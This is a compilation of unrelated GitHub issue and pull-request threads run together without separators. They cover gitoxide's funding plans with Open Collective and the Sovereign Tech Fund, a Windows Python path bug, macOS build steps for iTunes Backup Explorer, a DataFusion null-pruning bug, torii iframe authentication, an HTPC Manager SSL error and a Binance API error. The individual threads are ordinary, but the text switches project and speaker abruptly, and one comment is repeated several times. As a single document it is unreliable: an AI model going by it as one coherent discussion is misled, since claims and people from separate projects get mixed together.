Sovereign Tech Fund and NLNet Application

This issue tracks the status for the application to https://www.sovereigntechfund.de (STF)  as well as to https://nlnet.nl .
Note that the STF is mutually exclusive, but the idea is to have options.
PLAN: apply - and if there could be funds, go all the way with website, opencollective, and whatever else there might be.
Tasks

[ ] Apply to STF
[ ] Apply to NlNet
[x] figure out how to receive funds
[x] figure out how to spend funds
[ ] setup a collective

Timeline
2024-06-18
Start filling out the form for NlNet but reach out them instead for guidance.
The idea is that my questions affect the STF similarly, and knowing what they think should help. Will not block on this for too long, and plan to do the STF application soonish.
2024-06-22
Can OpenCollective alleviate the need for a foundation to be able to receive an spend money (hassle-free, without taxes, but while allowing invoicing of sorts?)
Setup personal account.

It seems to be pretty much what I was looking for - an incorporation of a non-profit without the hassle. They are a fiscal host, and able to deal with invoicing, but also contract-review and signing of contracts.
Cost of this service: 8%
Is gitoxide eligible❓(see requirements)

Ideally, two or more administrators (but not a hard requirement)
controlled by an organization on GitHub, but I should check with them or just try
Probably it makes no sense to sign up before funding becomes an option

Do their terms suit the project❓ (see terms)

contributions aren't are tax-deductable
contracts are legally with the OSC, so need their collaboration and permission
ownership is retained by 'the collective' (me), even though ownership can be transferred
expenses can be submitted, and will be paid from the collectives funds. The handle taxes (of which there should be none as non-profit)
30 days notices period
after termination, one can choose to withdraw all funds against a valid expense, or pass it to another organisation. If nothing is chosen, assets remain with the OSC
differences are handled by communication or arbitration, but not in court.
dispute resolution is done in california (strange, I was looking at the OSC in Brussels). Ask for clarification
The agreement with OSC is exclusive, so just one fiscal host. Does that mean GitHub sponsors needs to go there then?
The document mentions 10% fees + fiscal processor fees, probably out of date? Again, the european OSC should have their own and updated terms. Actually it's not, but there are details - they are trying to not go beyond 10%.
under the hood, they use Stripe, Paypal and Wise

To trigger a payout of your funds, submit an expense through your Collective with a receipt or invoice, and approve it as the Collective admin. Then we will review it to make sure it’s valid. Once approved by both you and us, we will pay the expense and automatically deduct that amount from your Collective balance

If you raise funds for your project outside of the Open Collective platform and send them to us, we will add them to your Collective’s balance manually.

Looks like outside funds are still possible and there is no obligation to send everything to OSC, but better ask.

If an expense for your project is paid outside of the platform, we will manually deduct the amount from your Collective’s balance.

Can my collective receive financing from public institutions or grants? Yes. All collectives hosted under OC Europe can receive subsidies after signing a cooperation agreement with us. Learn more

All the documentation - on how to run a successful and trustworthy OSS project

https://docs.oscollective.org/guides/project-hygiene
A website is definitely a good thing to have, and a roadmap

Particularly interesting: one can incorporate yourself while still using features of the OSC platform as independent collective, without any platform fees. So if one wanted to create a foundation at some point, it could still use some of the tooling one has become accustomed to.
Applying to Open Collective Europe seems to be the way to go, but Ferrous Systems might be an option as well.
2024-06-23
Check how it would be possible to go for 'gemeinnütziger Verein' right away. Details are this chat.
Learnings: it needs 7 founding members, which is probably where this idea ends. However, if an incorporation would work, it would be really easy to use Wise for accounting.
Also took a first look at the STF application form.
2024-07-22
Create Gist to allow writing the text on the fly: https://gist.github.com/Byron/d25b140ca42626f0a18f62372b7c5290#tbd-titles-can-be-linked-to-from-the-pff-they-are-anchors . Plan is to write it while in the train or using public transportation.
2024-09-26
Reached out to Ferrous Systems to see if they want to host Gitoxide.
Hi!

Sebastian here from Gitoxide. The project has to take the next step and be able to receive transparent funding. Since I am living 30 minutes from Berlin and have been in your offices once, having met Florian (I think :)), it really seems like the right thing to do and a win-win.

LibGit2 is now on OpenCollective and wanted to donate to Gitoxide, and I told Ed Thomson that I'd definitely want to keep the funds on OpenCollective as well.
Also I wanted to apply to the Sovereign Tech Fund while it's up, and funds would have to go to the collective as well.

What do you think?

Cheers,
Sebastian

It's unclear to me how to create a collective for Gitoxide that is assigned to their host though, as the standard dialog for that talks about OpenCollective as fiscal host. However, it seems changing hosts is very possible, but let's be sure to wait to avoid receiving donations with the wrong fiscal host.
2024-10-01
Also sent the above text as email to ferrous-systems.com .
2024-10-04
Also sent the above text as email to Florian and Felix Gilcher.
2024-10-09
Applied to open collective.
2024-10-11
Got response from Open Collective, they need the repo to be part of an organization.
It's time to take that step then.
Create organization. Prep to move, and move!
Invited @EliahKagan as collaborator, which seems like a natural choice given his prior involvement and accomplishments. It's also a requirement to get the fiscal host approved on open collective, even though the collective itself is already there: https://opencollective.com/gitoxide

Thanks! I've joined the organization.
(By the way, it looks like the link above, in the 2024-10-11 section, is broken: Even though it looks like the organization was initially named Gitoxide-Labs and then renamed to GitoxideLabs, the URL with Gitoxide-Labs does not redirect to the URL with GitoxideLabs.)

Thank you for joining, and thanks for all the useful hints :). The link above is now fixed, and I set my group membership to public as well.


gimme-aws-creds.cmd can't find Python when it's not named python3

If the Python 3 executable on Windows is named python.exe instead of python3.exe, the .cmd file can't find it.
Expected Behavior
Running gimme-aws-creds.cmd from Windows with Python 3 should work.
Current Behavior
If the executable is named python.exe instead of python3.exe, then gimme-aws-creds.cmd won't work.
Possible Solution
PR coming...

I'm having a problem I wonder if it is connected to this issue.  When I run gimme-aws-creds at command line on my Windows laptop, I get the message "'"C:\Program"' is not recognized as an internal or external command, operable program or batch file.".
I checked and my Python is "python.exe", not "python3.exe" so wondering if connected this issue. Any thoughts or suggestions appreciated.

If you have Execution Aliases for Python 3 turned on then this fix will find the Aliases first and you'll get the error message:
Python was not found; run without arguments to install from the Microsoft Store, or disable this shortcut from Settings > Manage App Execution Aliases.
even if you have Python 3 installed via other methods, such as Anaconda.
So if you get that error message but python3 works to start Python, go to Settings > App Execution Aliases, and turn off any you see for Python.

I suspect that the fix that is finding python3 in the expression "%%~$PATH:j" is also the cause of @MarkEvansHW 's problem, finding Program Files instead of appdata directory and then not escaping the space.

thanks @drwelby drwelby the part of Settings > App Execution Aliases  did it for me =)


MacOS compatibility changes

Hi,
As someone that's not comfortable with Java, after a bit of effort, I managed to run iTunes Backup Explorer on OS X.
While I won't grab the time to put effort into a coherent PR, here's some things (a mixture of instructions for Mac OS users with some small patches):

I had Java 8 installed; I believe it was some sort of "system" Java. Not sure if it was the old Apple-provided build. I needed to bump Java to something newer. As I have Homebrew installed, I used:
brew install java

This installed OpenJDK 17.
Per instructions printed by Homebrew, I exposed this to Apple's wrappers like so:
sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk

I'm not sure if I had to export JAVA_HOME=$(/usr/libexec/java_home -v17).
I had Maven installed from before. It was a Homebrew version (brew install maven).

At this point I could build iTunes-Backup-Explorer using mvn compile.
java -jar target/itunes-backup-explorer-1.0-SNAPSHOT.jar did not work, but mvn javafx:run did.

JavaFX 13 has bugs on MacOS Catalina+. https://bugs.openjdk.java.net/browse/JDK-8234916

I've switched javafx-controls and javafx-fxml to version 15 in pom.xml
This fixes the UI and now it renders correctly.

I had to run this from Terminal.app or iTerm.app which has been first allowlisted in System Preferences's Security & Privacy pane for "Full Disk Access" -- otherwise I could not ls ~/Library/Application Support/MobileSync/Backup, and neither could it be accessed by iTunes-Backup-Explorer.
By allowlisting the terminal app, java process inherits these permissions.
There is likely an API to request full disk access, but I have not done serious Cocoa work in years, and definitely not in Java.

Unfortunately, the code also hardcodes the path to MobileSync/Backup to System.getenv("APPDATA"), "Apple Computer\\MobileSync\\Backup".
This is easy to resolve with System.getenv("HOME"), "Library/Application Support/MobileSync/Backup".
Even though that's technically incorrect: one should use +[NSFileManager URLForDirectory:inDomains:] to find the paths to NSApplicationSupportDirectory in NSUserDomainMask or NSAllDomainsMask -- accepting there can be more than one such directory. Now, how to do that in Java? I don't really know.
Of course, this is very much a Mac-specific code change, meaning it should be isolated from other supported OSes, so in lieu of spending time figuring that out, I'm just writing this issue and going back to recovering my Safari tabs :-)

Hey!
I'm sorry it took so long. In case you are still interested:
I updated JavaFX and added the macOS backup path. You can now set custom paths using the preferences, too.
Finally, I published a release that you can download here: https://github.com/MaxiHuHe04/iTunes-Backup-Explorer/releases/latest. The jar should also work on macOS, but I didn't have a chance to test it yet. If you want to try it and it doesn't work, please let me know.

If anyone else is looking how to get this to run on aarch64 and is encountering
java.lang.UnsatisfiedLinkError: Can't load library: /Users/user/.openjfx/cache/18+12/libprism_sw.dylib

or
Error initializing QuantumRenderer: no suitable pipeline found
java.lang.RuntimeException: java.lang.RuntimeException: Error initializing QuantumRenderer: no suitable pipeline found

The problem is OpenJDK. To get it to work, I uninstalled OpenJDK, installed Oracle JDK 19 aarch64 and set JAVA_HOME, changed dependencies in the pom.xml from 18 to the latest builds of JavaFX packages 20-ea+7 and remove the platform tag/duplicates (probably not necessary). I then compiled this project mvn clean; mvn compile and ran it mvn exec:exec. It's important that everything is run natively aarch64 and not under Rosetta. Took about 3 hours to figure this out 😄 Once you're done you can uninstall evil Oracle JDK and go back to OpenJDK.

@claudiosv. Thanks for the guide. For those of us, not so knowledgeable on Java, programming or compiling, would you care to detail further your instructions?

If anyone else is looking how to get this to run on aarch64 and is encountering
java.lang.UnsatisfiedLinkError: Can't load library: /Users/user/.openjfx/cache/18+12/libprism_sw.dylib

or
Error initializing QuantumRenderer: no suitable pipeline found
java.lang.RuntimeException: java.lang.RuntimeException: Error initializing QuantumRenderer: no suitable pipeline found

The problem is OpenJDK. To get it to work, I uninstalled OpenJDK, installed Oracle JDK 19 aarch64 and set JAVA_HOME, changed dependencies in the pom.xml from 18 to the latest builds of JavaFX packages 20-ea+7 and remove the platform tag/duplicates (probably not necessary). I then compiled this project mvn clean; mvn compile and ran it mvn exec:exec. It's important that everything is run natively aarch64 and not under Rosetta. Took about 3 hours to figure this out 😄 Once you're done you can uninstall evil Oracle JDK and go back to OpenJDK.

Thanks for the guide. How to get the JavaFX package version (20-ea+7 doesn't seem to work with the latest JDK 19 downloaded from Oracle.)

@ccsasuke
I'm not a java developer, so no clue if these steps are strictly necessary, but what I did to get it working is as follows:

Delete all of my maven cache (eg: rm -rf ~/.m2/repository)
Edit the pom.xml file, removing the javafx-graphics entries for the other platforms, and specifying mac-aarach64 for all of the javafx entries.
Run mvn clean; mvn compile
Finally run mvn exec:exec

@danem This works, thanks!

If anyone else is looking how to get this to run on aarch64 and is encountering
java.lang.UnsatisfiedLinkError: Can't load library: /Users/user/.openjfx/cache/18+12/libprism_sw.dylib

or
Error initializing QuantumRenderer: no suitable pipeline found
java.lang.RuntimeException: java.lang.RuntimeException: Error initializing QuantumRenderer: no suitable pipeline found

The problem is OpenJDK. To get it to work, I uninstalled OpenJDK, installed Oracle JDK 19 aarch64 and set JAVA_HOME, changed dependencies in the pom.xml from 18 to the latest builds of JavaFX packages 20-ea+7 and remove the platform tag/duplicates (probably not necessary). I then compiled this project mvn clean; mvn compile and ran it mvn exec:exec. It's important that everything is run natively aarch64 and not under Rosetta. Took about 3 hours to figure this out 😄 Once you're done you can uninstall evil Oracle JDK and go back to OpenJDK.

I did not have to go through all of these steps, but changing the JDK definitely fixed the issue. Thank you sir!


bugfix: filter dataset by species

fixes #91

Codecov Report

Merging #110 (fcd2b52) into main (2aa1bc0) will increase coverage by 0.75%.
The diff coverage is 91.80%.

:exclamation: Current head fcd2b52 differs from pull request most recent head 71baf53. Consider uploading reports for the commit 71baf53 to get more accurate results

@@            Coverage Diff             @@
##             main     #110      +/-   ##
==========================================
+ Coverage   48.69%   49.44%   +0.75%
==========================================
  Files          27       27
  Lines        3025     3072      +47
==========================================
+ Hits         1473     1519      +46
- Misses       1552     1553       +1

Impacted Files
Coverage Δ

siibra/features/feature.py
45.33% <76.47%> (+3.54%)
:arrow_up:

siibra/core/atlas.py
67.77% <94.11%> (+5.11%)
:arrow_up:

siibra/core/parcellation.py
59.88% <100.00%> (+0.23%)
:arrow_up:

siibra/core/space.py
30.52% <100.00%> (+0.21%)
:arrow_up:

siibra/features/connectivity.py
90.90% <100.00%> (+0.09%)
:arrow_up:

siibra/features/ebrains.py
95.34% <100.00%> (+4.72%)
:arrow_up:

siibra/features/receptors.py
64.55% <100.00%> (+0.45%)
:arrow_up:

siibra/core/region.py
45.54% <0.00%> (+0.34%)
:arrow_up:

siibra/commons.py
57.05% <0.00%> (+0.64%)
:arrow_up:

siibra/core/datasets.py
73.41% <0.00%> (+1.26%)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2aa1bc0...71baf53. Read the comment docs.


add heat transfer

add class heat transfer:

Heat transfer is an energy transformation with thermal energy as the only input and thermal energy as the only output.

closes #730

Following the definition these two axioms should be added:

'has input' only 'thermal energy'
'has output' only 'thermal energy'

You're right. I already added them in the first commit.


Add legend field to campaign page

Hi @mathildathompson can you rebase this PR?

@tombooth done :-)

Just for reference you can see the text in place in the Lloyds campaign page (it's bordered in red).

Great thanks!
On Thu, Jan 14, 2016 at 11:42 AM, Tom Booth<EMAIL_ADDRESS>wrote:

Merged #193 https://github.com/alphagov/govuk-content-schemas/pull/193.
—
Reply to this email directly or view it on GitHub
https://github.com/alphagov/govuk-content-schemas/pull/193#event-514873199
.

--
Mathilda Thompson
07867986492


Feature request: Include browser tabs as if they were windows

Thanks for writing this. It's awesome.
I'd love to be able to select browser tabs from the list too.
Selecting the tab's title should make the windows active and make that tab active in the browser.
Then I could go to a specific tab I know I have open somewhere.
That would be awesome!

Thanks for the kind words. I'm without a Windows machine at the moment, so it might be a bit before I can look into this.
Off the top of my head, I'm not sure how it would work. Did you have a particular browser in mind? Do you know if any browsers expose an interface to ask for a list of tabs?

I think you would have to address each browser independently. I use Chrome
mostly.
We would first need to list all tabs, then when one was selected, give the
window focus and select the tab within the browser.
Here are some links related to selecting tabs in browsers:
https://autohotkey.com/board/topic/74649-how-to-close-a-single-tab-in-a-browser-ff-ie-chrome/
https://autohotkey.com/board/topic/50251-activating-chrome-tab/
https://autohotkey.com/boards/viewtopic.php?t=579
It sounds like the http://www.autohotkey.com/forum/viewtopic.php?t=82767
(ACC library) is the key.

"Man, I'm going to have so many chickens when this lot hatch!"
On Fri, Dec 11, 2015 at 6:54 AM, John Guidry<EMAIL_ADDRESS>wrote:

Thanks for the kind words. I'm without a Windows machine at the moment, so
it might be a bit before I can look into this.
Off the top of my head, I'm not sure how it would work. Did you have a
particular browser in mind? Do you know if any browsers expose an interface
to ask for a list of tabs?
—
Reply to this email directly or view it on GitHub
https://github.com/tvjg/iswitchw/issues/1#issuecomment-163732713.

Hey there, this is super old, but my fork I just put up implements exactly this. Give it a shot if you're still interested.
https://github.com/evilmanimani/iswitchw/blob/master/README.md

Hey there, this is super old, but my fork I just put up implements exactly this. Give it a shot if you're still interested.
https://github.com/evilmanimani/iswitchw

Hi, could you support tcmatch is your fork, it's usefull when there are many tabs. It's here: https://www.ghisler.ch/board/viewtopic.php?t=22592, and this is a similar project which support tcmatch: https://github.com/goreliu/runz

Interesting, I'll definitely take a look, which specific search features of tcmatch do you use, i,e, regex, multiple language support, etc? From what I could gather from that other project, it looks like it's just a simple dllcall, so if that's the case it shouldn't be much trouble.
That other project looks interesting, despite not being able to understand most of it. Looks like a program/shortcut launcher, I suppose it doesn't support browser tabs though?

It works well, thank you!
Tcmatch support multiple language, for me, I use the PinYin search most. It works like this, I want to search 你好(which means hello), but too lazy to type the characters, so I just type nh to find it. nh is first letter combination of ni3 hao3, and ni3 hao3 is the pronounciation tag (PinYin) for 你好. So 你好 -> ni3 hao3 -> nh, I just type two keys to finish the search.
For tcmatch to support PinYin search, I put tcmatch.ini and tcmatch.tbl in the same folder as tcmatch.dll, which can be
found here: https://sl.yunclass.com:201/Necessary/Totalcmd/Plugins/wlx/Quicksearch/, tcmatch.tbl is unicode to pinyin table, with different tcmatch.tbl, it supports other lauguage like korean, or other Chinese character tag systerm like WuBi.
About RunZ, you are right, it is a application launcher with some usefull tools like calculator and qrcode generator, it can't switch applications.

Ah neat, so you got the pinyin support working just by adding those files? I actually put in rudimentary (for now) support for adding folders for it to scan that can then be launched along with the tabs, I believe it should attempt to scan your desktop and documents folders to start with. Let me know if you have any other suggestions, cheers.

Yes it supports pinyin search after I put tcmatch.tbl and tcmatch.ini to the lib folder, it's designed to load the tbl file when available. I know it also supports korean from my tcmatch.ini version in use:
[general]
simple_search_activate_char=
regex_search_activate_char=?
leven_search_activate_char=<
srch_activate_char=*
preset_activate_char=>
simple_search_match_beginning_activate_char=^
and_separator_char=&
or_separator_char=|
wdx_separator_char=/
negate_char=!
case_sensitive=0
allow_empty_result=1
filter_files_and_folders=3
match_beginning=0
use_pinyin=1
use_korean=0
[gui]
override_search=1
invert_result=0
[wdx]
debug_output=0
wdx_cache=1000

Do you mean you will support program launch in your fork? I know RunZ will scan A_ProgramsCommon and A_StartMenu by default.
PS: I found iswitch miss firefox in its list, not firefox tabs, but firefox itself, maybe it's a version support related issue? My firefox version is 88.0

OK Please open issue tab in your fork.
About firefox, I think it's a version support related issue, my firefox v88.0 tabs don't show in the switch list, and firefox progress itself does not show either, I thought it's a bug, but it's not if this is by design. Everything will be OK when firefox version support be done. I don't use firefox often, I mentioned it just in case it's a ignored problem.


Iframe Service

This is a freshly rebased branch of https://github.com/Vestorly/torii/pull/206
The basic overview, which is described in an update to the README is:
Using an iframe instead of a popup
You can configure torii to use an in-page iframe instead of a separate
popup window for authentication. This can be done on either a global or
a per-provider basis.
To change this globally set the remoteServiceName variable in the main
torii config to be 'iframe'.
/* jshint node: true */
// config/environment.js
module.exports = function(environment) {
  var ENV = {
    /* ... */
    torii: {
      remoteServiceName: 'iframe',
      providers: { /* ... */ }
    }
  };
  return ENV;
};

If you only want the iframe for a single provider you can include the
remoteServiceName value in the configuration for that provider.
/* jshint node: true */
// config/environment.js
module.exports = function(environment) {
  var ENV = {
    /* ... */
    torii: {
      // a 'session' property will be injected on routes and controllers
      sessionServiceName: 'session',
      providers: {
        'mycorp-oauth2': {
          remoteServiceName: 'iframe'
          /* ... */
        }
      }
    }
  };
  return ENV;
};

Once your provider has been configured you need to tell torii where to
apend the iframe when you call session.open.
For instance:
this.get("session")
  .open("mycorp-oauth2",{ iframeParent : '#signin-modal-content'})
  .then(function(){
    // ...
  });

Of course, the element with the id of signin-modal-content needs to be
currently in the DOM.
/end of README excerpt

Instead of requiring the iframeParent argument to be passed to open we might include a component that people can include in a template to tell torii where to put the iframe. Something like:
{{torii-iframe-placeholder}}

I took a stab at making this happen, but so far I haven't been able to get the component to be useable in the host app. I suspect that this is related to the custom build system and the fact that I don't entirely understand how it works and how it's different from ember-cli based add-ons. Would love some pointers on that note.

@mixonic, I just realized that Friday managed to sneak past without me ever thinking about trying to sync up with you on this. Maybe sometime this week?

Just pinging this again. :smiley:

@jagthedrummer THANKS. This is looking really good man. Sorry it has taken to long to think it through and find the time.
I'd like to suggest one more largish adjustment. Right now, before an iframe is opened, the developer must ensure an element with the correct id (or selector) is on the page. This leaks some domish stuff where it doesn't feel appropriate.
Instead, let's add a component {{torii-iframe}} that can only be used once (should assert if used more than that) and can manage the DOM parts of the iframe.

@mixonic @bantic In this branch/PR I've addressed all of the issues that you guys had pointed out with the exception of the "lazy registration" issue. I've worked on that and have something that is different, and I think a little more like what you're asking for. Unfortunately is doesn't actually work, and I'm not entirely sure why.
This commit is what I have going so far: https://github.com/jagthedrummer/torii/commit/64de9e1c532e5b88f03667789c9853c52efe140e
The issue is that even though the value of 'remoteServiceName' is being set to 'iframe' in walk-providers, when I actually call get('popup') on the provider, inside that computed property the value of 'remoteServiceName' always comes back as 'popup'.
One other issue I've discovered with this approach is that for the stuff in walk-providers to actually work for a custom provider you have to create an initializer for your provider that registers it with the application so that torii can find it. Registering the provider with the application isn't mentioned anywhere in the docs for creating a customer provider, so that would mean that any existing custom providers would have to be updated before they could be used with the iframe service. The "non-lazy" current code in this PR (not in the commit linked above) should be transparently backward compatible with any existing providers.
I feel like there's probably some way to do the "lazy" thing in a way that 1) actually works and 2) is transparently backward compatible with existing providers. What am I missing?

@jagthedrummer I'll attempt an implementation tomorrow and PR against your branch :-)

with lazy popup service discovery in https://github.com/jagthedrummer/torii/pull/1

@mixonic Thanks for the PR on the lazy lookup. I just merged it into this branch/PR and everything is working perfectly in my test app. I think this should be all ready to go. Thanks for the help!


Add accounts interface

Closes #75.
The 4 functions added in this PR contain the basic CRUD operations required for easily creating, reading, updating, and deleting user_account entries from the database. Now, the endpoint API can be written using these functions in order for users on the front end to make real changes to the database on the back end.

Looks good. Also I noticed it going through your code but I forgot to close one of my divs in the index.ejs on the home page. If you add a after line 71 we should be good.

Good catch. Just fixed this.


SSL Error with fork

I'm trying to access this awesome fork via SSL and for some reason it will not accept the cert while the main clone does along with CouchPotato and Sonarr as well. The cert was made with directions from Sonarr. I also made new certs via different methods and made different kinds but it was the same result. Any help is appreciated greatly. I really want to use this fork and my searching and attempts have yielded zero results. I'm sure I'm probably doing something wrong, but I've installed every single package I could find too and it didn't help.
The pastebin below is two vanilla clones from the main and the fork. All I did was configure the SSL on each one with the same cert/location and I get the error. If you need anything at all please let me know. Keep up the awesome work!
http://pastebin.com/xi5qJkmc

Hi!
Have you tried with the certs that generated for you?
By enabling ssl and not provide a path for it HTPC manager will make them for you. Does that work?
What are the cert details?

I saw that function in the code, and read about it, but I didn't see where in the interface I was able to do it.  That would make it a lot easier and would definitely work.
I just made a cert for my domain at the site the wiki for Sonarr said to go to then get the tumbprint/make a .pfx.

Well, I totally get why you didn't know where to do it. :p Try deleting the cert and key and reboot htpc manager
I know nothing about ssl so I have no idea what a pfx is...

I have. I don't see an option. Tried both Firefox and Chrome. Is it under another tab besides general maybe. Screen included

Just check use ssl, save then reboot.

Nothing. It's just ticked now. Tried restarting twice and refreshing page.

Is there maybe a dependency I'm missing. I've installed simplejson, psutil, pil, pyopenssl, c++, easy install, and few others I can't think of right now.

OpenSSL is needed.

I have it installed for Python. Should I install it for Server 2012 too

Ok well I don't know if it didn't install right or what. I cloned the git and even installed C++ 2008 or whatever it was when it gave an error.
You bringing up OpenSSL made me want to try a different way using pip -m install and it worked! Thank you so much for your patience and all your help! You're amazing!!
There was still an error, but it connected finally unlike before. It's one of the errors I was receiving before when I was trying with the clone that was configured fully.
Error in HTTPServer.tick
Traceback (most recent call last):
File "C:\HTPCman\HTPC-Manager-master2\libs\cherrypy\wsgiserver\wsgiserver2.py"
, line 1837, in start
self.tick()
File "C:\HTPCman\HTPC-Manager-master2\libs\cherrypy\wsgiserver\wsgiserver2.py"
, line 1902, in tick
s, ssl_env = self.ssl_adapter.wrap(s)
File "C:\HTPCman\HTPC-Manager-master2\libs\cherrypy\wsgiserver\ssl_builtin.py"
, line 52, in wrap
keyfile=self.private_key, ssl_version=ssl.PROTOCOL_SSLv23)
File "C:\Python27\Lib\ssl.py", line 891, in wrap_socket
ciphers=ciphers)
File "C:\Python27\Lib\ssl.py", line 566, in init
self.do_handshake()
File "C:\Python27\Lib\ssl.py", line 788, in do_handshake
self._sslobj.do_handshake()
SSLError: [SSL: HTTP_REQUEST] http request (_ssl.c:581)

check the userdata folder, can you see any .cert and key there?  I really do appreciate it a lot. Thanks for talking it out with me to get it working. You happen to have a BTC address by any chance?

I'm happy to help. I'm glad it got sorted out. I'll add some stuff to the wiki as when time wrote the code it was only me using it.
No, I don't have a btc adress but thanks for the consideration.
If you still feel like donating I'm sure kodi, sr, co etc would be happy to take your hard earned $$ off your hands ;)


Binance API Exception Filter Failure: MIN_NOTIONAL

BTCUSDT has gained 8.354% in the last 5 minutes, calculating volume in USDT
 preparing to buy 0.000162 BTCUSDT
Traceback (most recent call last):
  File "Mooning.py", line 335, in <module>
    orders, last_price, volume = buy()
  File "Mooning.py", line 209, in buy
    test_order = client.create_test_order(symbol=coin, side='BUY', type='MARKET', quantity=volume[coin])
  File "/home/maxxxel/.local/lib/python3.7/site-packages/binance/client.py", line 1762, in create_test_order
    return self._post('order/test', True, data=params)
  File "/home/maxxxel/.local/lib/python3.7/site-packages/binance/client.py", line 368, in _post
    return self._request_api('post', path, signed, version, **kwargs)
  File "/home/maxxxel/.local/lib/python3.7/site-packages/binance/client.py", line 328, in _request_api
    return self._request(method, uri, signed, **kwargs)
  File "/home/maxxxel/.local/lib/python3.7/site-packages/binance/client.py", line 309, in _request
    return self._handle_response(self.response)
  File "/home/maxxxel/.local/lib/python3.7/site-packages/binance/client.py", line 318, in _handle_response
    raise BinanceAPIException(response, response.status_code, response.text)
binance.exceptions.BinanceAPIException: APIError(code=-1013): Filter failure: MIN_NOTIONAL

This error occurs, when you couldn't buy the minimal amount necessary to do the trade. You should trade with at least 15$, from my experience, to stop this error from occuring

@Maxxxel see issue #5 or call info = client.get_symbol_info('BTCUSDT') and look for the 'minQty' key to find the minimum tradable amount for your pair.


Add new function

I think there could add an new function like "get_grouped_data"  by using Decision Tree to give the best bins for users.

Not sure if this will add any value. A decision tree will group together bins with similar % of target=1 which will make it difficult to see the trend over the complete feature range.


IS NOT NULL predicate rewrite is incorrect

Describe the bug
The logic introduced in https://github.com/apache/arrow-datafusion/pull/9208 is (very subtly) incorrect as I found while upgrading to use it in InfluxDB
To Reproduce
The data is like this
name: cpu
+---------------------+--------------+
| time                | usage_system |
+---------------------+--------------+
| 1970-01-01T00:01:00 | 99.8         |
| 1970-01-01T00:01:00 | 89.5         |
| 1970-01-01T00:01:10 | 88.6         |
| 1970-01-01T00:01:10 | 99.7         |
| 1970-01-01T00:01:20 |              |
| 1970-01-01T00:01:20 |              |
| 1970-01-01T00:01:30 | 83.4         |
| 1970-01-01T00:01:30 |              |
| 1970-01-01T00:01:40 | 87.7         |
| 1970-01-01T00:01:40 |              |
| 1970-01-01T00:01:50 |              |
| 1970-01-01T00:01:50 |              |
| 1970-01-01T00:02:00 |              |
| 1970-01-01T00:02:00 | 99.9         |
| 1970-01-01T00:02:10 | 89.8         |
| 1970-01-01T00:02:10 | 99.8         |
| 1970-01-01T00:02:20 |              |
| 1970-01-01T00:02:20 | 99.9         |
| 1970-01-01T00:02:30 |              |
| 1970-01-01T00:02:30 |              |
| 1970-01-01T00:02:40 |              |
| 1970-01-01T00:02:40 |              |
| 1970-01-01T00:02:50 | 89.8         |
| 1970-01-01T00:02:50 |              |
| 1970-01-01T00:03:00 | 90.0         |
| 1970-01-01T00:03:00 | 99.8         |
| 1970-01-01T00:03:10 |              |
| 1970-01-01T00:03:10 | 99.8         |
+---------------------+--------------+

Note it has BOTH 14 null values and 14 non null values for usage_system and  non null values
The original predicate was
usage_system@3 IS NOT NULL AND time@1 <=<PHONE_NUMBER>397450000

And the rewritten predicate is (now)
usage_system_null_count@0 = 0 AND time_min@1 <=<PHONE_NUMBER>397450000

Thus, the input data statistics look like this
+-------------------------+---------------------+
| usage_system_null_count | time_min            |
+-------------------------+---------------------+
| 14                      | 1970-01-01T00:01:00 |
+-------------------------+---------------------+

With these statistics this  predicate evaluates to false and the data is pruned,
Expected behavior
The data should not be pruned because there are rows for which IS NOT NULL evaluates to true (there are non null values in the data)
Additional context
The pruning predicate needs to return false only if "there are no rows that could possibly match the predicate", which for IS NOT NULL means that there are only null values in the data, but the current implementation checks if there are any null values in the data.
So in this case, that the original predicate needs to be rewritten to
usage_system_null_count@0 = usage_system_row_count@0  AND time_min@1 <=<PHONE_NUMBER>397450000

We of course don't have row_count information yet (but @appletreeisyellow) is working on adding in https://github.com/apache/arrow-datafusion/issues/9171
This kind of subtle logic bug is another reason I think we should be seriously considering the range based analysis described in https://github.com/apache/arrow-datafusion/issues/7887

I believe @appletreeisyellow  plans to revert https://github.com/apache/arrow-datafusion/pull/9208 while working on this feature

Ah, right. The IS NOT NULL predicate should disallow row groups which contains ALL nulls, not disallow which contains any nulls.

Yeah I am embarassed I didn't catch it in review

I feel a little strange when reviewing the PR, and thought I missed something. That is! 😄

This logic is very subtle. As I mentioned above, I am really thinking that to make the pruning predicate work more generally we need a different approach than this particular style of rewrite (I am partial to https://github.com/apache/arrow-datafusion/issues/7887)

Thanks for catching it so quickly @alamb  and thanks for the quick review on the revert PR #9232 @alamb and @viirya!

The pruning predicate needs to return false only if "there are no rows that could possibly match the predicate", which for IS NOT NULL means that there are only null values in the data, but the current implementation checks if there are any null values in the data.

📌


Add timepoint field

The timepoint field was added to the GTFS spec recently.  Update tool so that interpolated times populate the timepoint field with a value of 0 to indicate that the times are considered approximate.

Resolves this issue: https://github.com/Esri/public-transit-tools/issues/50


Dual Stack support for vSphere

What this PR does / why we need it:
This PR adds dual stack support for vSphere.
Which issue(s) this PR fixes:

Fixes #2491
What type of PR is this?

/kind feature
Special notes for your reviewer:
For E2E tests: https://github.com/kubermatic/kubeone/issues/2821
Does this PR introduce a user-facing change? Then add your Release Note here:

Add dual stack support for vSphere

Documentation:

TBD

/test pull-kubeone-e2e-vsphere-default-dual-stack-calico-containerd-v1.26.1 pull-kubeone-e2e-vsphere-default-dual-stack-cilium-containerd-v1.26.1

/retest


Support comparison operators for dtype

I sometimes want to check dtype like this:
assert x.dtype == "f"

Based on the source code, all comparison operators support DtypeLike.
https://github.com/numpy/numpy/blob/master/numpy/core/src/multiarray/descriptor.c#L3167

Thank you for a comment. Sure. I'll add some tests to simple.py and check the test.

I wrote brief test cases which covers all comparison operators. Is it enough? I also can check all combination of operators and types in dtypelike (too much?).

Thanks @unnonouno.

Thank you!!


Example/three js

Example template for ThreeJS (with GLTF loader)

I closed it because it doesn't make sense to merge this (threeJS specific example) into master.


Implement disassembly debugging

Proof of concept of disassembly debugging.
Will fix part of #816 and microsoft/vscode-cpptools#206.
Working:

show disassembly if source is not available
step through assembly code

Not working (in order of importance):

support for -data-disassemble -a to get the entire current function: https://sourceware.org/gdb/onlinedocs/gdb/GDB_002fMI-Data-Manipulation.html
setting breakpoints
goto
show disassembly with source code when it is available
support for different scopes

@Trass3r The VS Code team is currently working on a real disassembly window: https://github.com/microsoft/vscode/issues/124163 so I don't think we will need this anymore.

Yeah I know. Closing this.


Second Meeting Notes

